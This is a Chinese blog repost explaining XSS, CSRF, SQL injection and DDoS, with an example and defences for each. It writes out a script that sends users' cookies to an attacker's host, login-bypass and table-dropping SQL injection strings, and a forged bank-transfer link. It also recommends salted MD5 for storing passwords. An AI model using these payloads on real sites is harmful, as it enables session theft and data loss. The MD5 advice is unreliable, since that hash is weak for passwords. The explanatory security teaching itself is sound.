1. 程式人生 > 其它 >總結幾種常見web攻擊手段及其防禦方式

總結幾種常見web攻擊手段及其防禦方式

原文:https://www.cnblogs.com/-new/p/7135814.html

本文簡單介紹幾種常見的攻擊手段及其防禦方式

  • XSS(跨站指令碼攻擊)
  • CSRF(跨站請求偽造)
  • SQL注入
  • DDOS

web安全系列目錄

XSS

概念

  • 全稱是跨站指令碼攻擊(Cross Site Scripting),指攻擊者在網頁中嵌入惡意指令碼程式。

案列

  • 比如說我寫了一個部落格網站,然後攻擊者在上面釋出了一個文章,內容是這樣的<script>window.open(“www.gongji.com?param=”+document.cookie)</script>
    ,如果我沒有對他的內容進行處理,直接儲存到資料庫,那麼下一次當其他使用者訪問他的這篇文章的時候,伺服器從資料庫讀取後然後響應給客戶端,瀏覽器執行了這段指令碼,然後就把該使用者的cookie傳送到攻擊者的伺服器了。

被攻擊的原因

  • 使用者輸入的資料變成了程式碼,比如說上面的<script>,應該只是字串卻有了程式碼的作用。

預防

  • 將輸入的資料進行轉義處理,比如說講 < 轉義成&lt;

SQL注入

概念

  • 通過sql命令偽裝成正常的http請求引數,傳遞到伺服器端,伺服器執行sql命令造成對資料庫進行攻擊

案例

  • ' or '1'= '1。這是最常見的sql注入攻擊,當我們輸如使用者名稱 jiajun ,然後密碼輸如'or '1'= '1
    的時候,我們在查詢使用者名稱和密碼是否正確的時候,本來要執行的是select * from user where username='' and password='',經過引數拼接後,會執行sql語句select * from user where username='jaijun' and password=' ' or ' 1'='1 ',這個時候1=1是成立,自然就跳過驗證了。
  • 但是如果再嚴重一點,密碼輸如的是';drop table user;--,那麼sql命令為select * from user where username='jiajun' and password='';drop table user;--'
    這個時候我們就直接把這個表給刪除了

被攻擊的原因

  • sql語句偽造引數,然後在對引數進行拼接的後形成破壞性的sql語句,最後導致資料庫受到攻擊

預防

  • 在java中,我們可以使用預編譯語句(PreparedStatement),這樣的話即使我們使用sql語句偽造成引數,到了服務端的時候,這個偽造sql語句的引數也只是簡單的字元,並不能起到攻擊的作用。
  • 很多orm框架已經可以對引數進行轉義
  • 做最壞的打算,即使被’拖庫‘('脫褲,資料庫洩露')。資料庫中密碼不應明文儲存的,可以對密碼使用md5進行加密,為了加大破解成本,所以可以採用加鹽的(資料庫儲存使用者名稱,鹽(隨機字元長),md5後的密文)方式。

CSRF

概念

  • 全稱是跨站請求偽造(cross site request forgery),指通過偽裝成受信任使用者的進行訪問,通俗的講就是說我訪問了A網站,然後cookie存在了瀏覽器,然後我又訪問了一個流氓網站,不小心點了流氓網站一個連結(向A傳送請求),這個時候流氓網站利用了我的身份對A進行了訪問。

案列

  • 這個例子可能現實中不會存在,但是攻擊的方式是一樣的。比如說我登入了A銀行網站,然後我又訪問了室友給的一個流氓網站,然後點了裡面的一個連結www.A.com/transfer?account=666&money=10000,那麼這個時候很可能我就向賬號為666的人轉了1w軟妹幣
  • 注意這個攻擊方式不一定是我點了這個連結,也可以是這個網站裡面一些資源請求指向了這個轉賬連結,比如說一個

被攻擊的原因

  • 使用者本地儲存cookie,攻擊者利用使用者的cookie進行認證,然後偽造使用者發出請求

預防

  • 之所以被攻擊是因為攻擊者利用了儲存在瀏覽器用於使用者認證的cookie,那麼如果我們不用cookie來驗證不就可以預防了。所以我們可以採用token(不儲存於瀏覽器)認證。
  • 通過referer識別,HTTP Referer是header的一部分,當瀏覽器向web伺服器傳送請求的時候,一般會帶上Referer,告訴伺服器我是從哪個頁面連結過來的,伺服器基此可以獲得一些資訊用於處理。那麼這樣的話,我們必須登入銀行A網站才能進行轉賬了。

DDOS

概念

  • 分散式拒絕服務攻擊(Distributed Denial of Service),簡單說就是傳送大量請求是使伺服器癱瘓。DDos攻擊是在DOS攻擊基礎上的,可以通俗理解,dos是單挑,而ddos是群毆,因為現代技術的發展,dos攻擊的殺傷力降低,所以出現了DDOS,攻擊者藉助公共網路,將大數量的計算機裝置聯合起來,向一個或多個目標進行攻擊。

案例

  • SYN Flood ,簡單說一下tcp三次握手,客戶端先伺服器發出請求,請求建立連線,然後伺服器返回一個報文,表明請求以被接受,然後客戶端也會返回一個報文,最後建立連線。那麼如果有這麼一種情況,攻擊者偽造ip地址,發出報文給伺服器請求連線,這個時候伺服器接受到了,根據tcp三次握手的規則,伺服器也要回應一個報文,可是這個ip是偽造的,報文迴應給誰呢,第二次握手出現錯誤,第三次自然也就不能順利進行了,這個時候伺服器收不到第三次握手時客戶端發出的報文,又再重複第二次握手的操作。如果攻擊者偽造了大量的ip地址併發出請求,這個時候伺服器將維護一個非常大的半連線等待列表,佔用了大量的資源,最後伺服器癱瘓。
  • CC攻擊,在應用層http協議上發起攻擊,模擬正常使用者傳送大量請求直到該網站拒絕服務為止。

被攻擊的原因

  • 伺服器頻寬不足,不能擋住攻擊者的攻擊流量

預防

  • 最直接的方法增加頻寬。但是攻擊者用各地的電腦進行攻擊,他的頻寬不會耗費很多錢,但對於伺服器來說,頻寬非常昂貴。
  • 雲服務提供商有自己的一套完整DDoS解決方案,並且能提供豐富的頻寬資源